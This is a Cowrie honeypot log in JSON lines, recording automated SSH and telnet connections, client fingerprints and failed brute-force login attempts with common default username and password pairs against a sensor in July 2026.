{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:02:46.020906Z","src_ip":"160.187.174.22","session":"9f340fd366cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":57516,"dst_ip":"159.203.135.109","dst_port":22,"session":"27de8d5a8499","protocol":"ssh","message":"New connection: 160.187.174.22:57516 (159.203.135.109:22) [session: 27de8d5a8499]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:03:11.506667Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:03:11.566082Z","src_ip":"160.187.174.22","session":"27de8d5a8499","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:03:11.746131Z","src_ip":"160.187.174.22","session":"27de8d5a8499","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"demo","password":"demo","message":"login attempt [demo/demo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:03:12.695498Z","src_ip":"160.187.174.22","session":"27de8d5a8499","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:03:13.934659Z","src_ip":"160.187.174.22","session":"27de8d5a8499","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.58.21","src_port":36028,"dst_ip":"159.203.135.109","dst_port":22,"session":"ae4b76649e34","protocol":"ssh","message":"New connection: 162.144.58.21:36028 (159.203.135.109:22) [session: ae4b76649e34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:03:25.868883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:03:25.872684Z","src_ip":"162.144.58.21","session":"ae4b76649e34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:03:25.963114Z","src_ip":"162.144.58.21","session":"ae4b76649e34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password*&(","message":"login attempt [root/password*&(] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:03:26.233046Z","src_ip":"162.144.58.21","session":"ae4b76649e34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:03:27.330323Z","src_ip":"162.144.58.21","session":"ae4b76649e34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":50698,"dst_ip":"159.203.135.109","dst_port":23,"session":"a1228afc0354","protocol":"telnet","message":"New connection: 170.64.224.25:50698 (159.203.135.109:23) [session: a1228afc0354]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:03:35.081811Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.236.247.120","src_port":41024,"dst_ip":"10.17.0.5","dst_port":22,"session":"a2b7f33f5c1f","protocol":"ssh","message":"New connection: 173.236.247.120:41024 (10.17.0.5:22) [session: a2b7f33f5c1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:03:36.616786Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:03:36.620702Z","src_ip":"173.236.247.120","session":"a2b7f33f5c1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:03:36.629405Z","src_ip":"173.236.247.120","session":"a2b7f33f5c1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"filecoin","password":"filecoin456","message":"login attempt [filecoin/filecoin456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:03:36.657664Z","src_ip":"173.236.247.120","session":"a2b7f33f5c1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:03:37.670467Z","src_ip":"173.236.247.120","session":"a2b7f33f5c1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":44920,"dst_ip":"159.203.135.109","dst_port":22,"session":"3cb5046ff01d","protocol":"ssh","message":"New connection: 160.187.174.22:44920 (159.203.135.109:22) [session: 3cb5046ff01d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:03:39.003341Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:03:39.007246Z","src_ip":"160.187.174.22","session":"3cb5046ff01d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":44960,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6ba406bab91","protocol":"ssh","message":"New connection: 91.92.40.4:44960 (10.17.0.5:22) [session: c6ba406bab91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:03:39.087321Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:03:39.091676Z","src_ip":"91.92.40.4","session":"c6ba406bab91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:03:39.172941Z","src_ip":"91.92.40.4","session":"c6ba406bab91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:03:39.258470Z","src_ip":"160.187.174.22","session":"3cb5046ff01d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"test123","message":"login attempt [user/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:03:39.422603Z","src_ip":"91.92.40.4","session":"c6ba406bab91","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123456","message":"login attempt [deploy/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:03:40.008127Z","src_ip":"160.187.174.22","session":"3cb5046ff01d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:03:40.506073Z","src_ip":"91.92.40.4","session":"c6ba406bab91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:03:41.358187Z","src_ip":"160.187.174.22","session":"3cb5046ff01d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":54750,"dst_ip":"159.203.135.109","dst_port":22,"session":"71f293ed294a","protocol":"ssh","message":"New connection: 160.187.174.22:54750 (159.203.135.109:22) [session: 71f293ed294a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:04:08.302582Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:04:08.306194Z","src_ip":"160.187.174.22","session":"71f293ed294a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:04:08.555568Z","src_ip":"160.187.174.22","session":"71f293ed294a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"123456","message":"login attempt [dev/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:04:09.551726Z","src_ip":"160.187.174.22","session":"71f293ed294a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:04:10.806099Z","src_ip":"160.187.174.22","session":"71f293ed294a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.240.75.182","src_port":38236,"dst_ip":"159.203.135.109","dst_port":22,"session":"e903b10de475","protocol":"ssh","message":"New connection: 162.240.75.182:38236 (159.203.135.109:22) [session: e903b10de475]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:04:15.855745Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:04:15.859202Z","src_ip":"162.240.75.182","session":"e903b10de475","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:04:15.948085Z","src_ip":"162.240.75.182","session":"e903b10de475","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"defi","password":"defi123","message":"login attempt [defi/defi123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:04:16.214520Z","src_ip":"162.240.75.182","session":"e903b10de475","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:04:18.770542Z","src_ip":"162.240.75.182","session":"e903b10de475","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":56588,"dst_ip":"159.203.135.109","dst_port":22,"session":"b0623995a670","protocol":"ssh","message":"New connection: 160.187.174.22:56588 (159.203.135.109:22) [session: b0623995a670]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:04:34.927882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:04:34.934380Z","src_ip":"160.187.174.22","session":"b0623995a670","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:04:35.168773Z","src_ip":"160.187.174.22","session":"b0623995a670","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oscar","password":"123456","message":"login attempt [oscar/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:04:35.916459Z","src_ip":"160.187.174.22","session":"b0623995a670","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.88.42.180","src_port":35570,"dst_ip":"10.17.0.5","dst_port":22,"session":"db507fc8a92b","protocol":"ssh","message":"New connection: 23.88.42.180:35570 (10.17.0.5:22) [session: db507fc8a92b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:04:36.898993Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:04:36.902303Z","src_ip":"23.88.42.180","session":"db507fc8a92b","protocol":"ssh"}
